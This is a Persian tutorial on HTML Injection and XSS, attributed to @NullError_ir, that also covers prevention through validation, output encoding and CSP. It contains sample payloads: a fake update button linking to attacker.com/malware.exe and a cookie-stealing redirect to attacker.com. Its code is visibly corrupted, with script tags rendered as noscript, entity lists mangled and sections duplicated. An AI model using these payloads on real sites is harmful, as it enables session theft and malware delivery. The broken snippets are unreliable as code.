* مثال از یک هدر CSP:
این خط مشی به مرورگر میگوید که به طور پیشفرض منابع را فقط از دامنه خود وبسایت (
### نتیجهگیری
آسیب پذیری HTML Injection به ظاهر ساده اما با پتانسیل تخریب بالاست. درک عمیق مکانیزمهای این حمله، سناریوهای بهرهبرداری و مهمتر از همه، روشهای پیشگیری، برای هر متخصص امنیت و توسعهدهنده وب ضروری است. این آسیبپذیری یادآور یک اصل بنیادین در امنیت سایبری است: "هرگز به ورودی کاربر اعتماد نکنید" (Never trust user input). با پیادهسازی صحیح تکنیکهای Input Validation و Output Encoding، میتوان به طور کامل از این دسته حملات جلوگیری کرد و امنیت اپلیکیشنهای وب را به میزان قابل توجهی افزایش داد.
@NullError_ir
<a href="http://attacker.com/malware.exe" style="display:block; width:200px; height:50px; background-color:green; color:white; text-align:center; line-height:50px; text-decoration:none; font-family:sans-serif; font-size:18px;">Download Update</a>
این کد یک دکمهی ظاهراً معتبر با عنوان "Download Update" ایجاد میکند که در واقع کاربر را به سمت دانلود یک فایل اجرایی مخرب هدایت میکند.
ارتقاء HTML Injection به XSS (Cross-Site Scripting)
اگر مکانیزمهای امنیتی وبسایت ضعیف باشند، مهاجم میتواند از HTML Injection فراتر رفته و کدهای JavaScript را تزریق کند. این حمله به عنوان XSS شناخته میشود و به مراتب خطرناکتر است.
پیلود ساده XSS:
<noscript>alert('XSS')</noscript>
اگر پس از تزریق این کد، یک پنجره هشدار (alert) با متن 'XSS' در مرورگر ظاهر شود، وبسایت به Stored XSS یا Reflected XSS (بسته به نحوه ذخیره و بازتاب ورودی) آسیبپذیر است.
پیلود برای سرقت کوکی (Session Hijacking):
<noscript>document.location='http://attacker.com/cookie_stealer.php?c=' + document.cookie;</noscript>
این پیلود (Session Cookies) کاربر فعلی را خوانده و آنها را به عنوان یک پارامتر در URL به سرور مهاجم ارسال میکند. مهاجم با در دست داشتن این کوکیها میتواند سشن کاربر را ربوده و بدون نیاز به نام کاربری و رمز عبور، وارد حساب کاربری او شود.
روشهای مقابله و پیشگیری
جلوگیری از حملات HTML Injection نیازمند یک رویکرد چندلایه در توسعه نرمافزار است.
1. اعتبارسنجی ورودی (Input Validation)
هرگز به ورودی کاربر اعتماد نکنید. باید تمام دادههای دریافتی از سمت کاربر بر اساس یک لیست سفید (Whitelist) از کاراکترها، الگوها و فرمتهای مجاز اعتبارسنجی شوند. برای مثال، اگر یک فیلد فقط باید شامل اعداد باشد، هر ورودی دیگری باید رد شود.
2. پاکسازی خروجی (Output Encoding/Sanitization)
این مهمترین و مؤثرترین روش دفاعی است. قبل از نمایش هرگونه دادهی ورودی از کاربر در خروجی HTML، کاراکترهای خاص HTML باید به معادلهای امن خود (HTML Entities) تبدیل شوند.
< تبدیل شود به <> تبدیل شود به >" تبدیل شود به "' تبدیل شود به '& تبدیل شود به &با این کار، مرورگر تگهای تزریق شده را به عنوان متن ساده تفسیر میکند و آنها را اجرا نخواهد کرد. اکثر فریمورکهای مدرن وب (مانند React, Angular, Django, Rails) به صورت پیشفرض این کار را انجام میدهند، اما همیشه باید از فعال بودن و پیکربندی صحیح آن اطمینان حاصل کرد.
3. استفاده از Content Security Policy (CSP)
۔CSP یک لایه امنیتی اضافی است که به مدیران وبسایت اجازه میدهد تا مشخص کنند مرورگر مجاز به بارگذاری منابع (مانند اسکریپتها، استایلها، تصاویر) از چه دامنههایی است. یک CSP قوی میتواند حتی در صورت موفقیتآمیز بودن تزریق، از اجرای اسکریپتهای مخرب یا بارگذاری منابع از سرورهای ناشناس جلوگیری کند.
* مثال از یک هدر CSP:
Content-Security-Policy: default-src 'self'; noscript-src 'self' trusted-noscripts.com; img-src *;
این خط مشی به مرورگر میگوید که به طور پیشفرض منابع را فقط از دامنه خود وبسایت (
'self' ) بارگذاری کند، اسکریپتها را فقط از دامنه خود و trusted-noscripts.com اجرا کند و تصاویر را از هر منبعی ( * ) بارگذاری نماید. این سیاست از اجرای اسکریپتهای inline یا بارگذاری منابع از سرور مهاجم جلوگیری میکند.### نتیجهگیری
آسیب پذیری HTML Injection به ظاهر ساده اما با پتانسیل تخریب بالاست. درک عمیق مکانیزمهای این حمله، سناریوهای بهرهبرداری و مهمتر از همه، روشهای پیشگیری، برای هر متخصص امنیت و توسعهدهنده وب ضروری است. این آسیبپذیری یادآور یک اصل بنیادین در امنیت سایبری است: "هرگز به ورودی کاربر اعتماد نکنید" (Never trust user input). با پیادهسازی صحیح تکنیکهای Input Validation و Output Encoding، میتوان به طور کامل از این دسته حملات جلوگیری کرد و امنیت اپلیکیشنهای وب را به میزان قابل توجهی افزایش داد.
@NullError_ir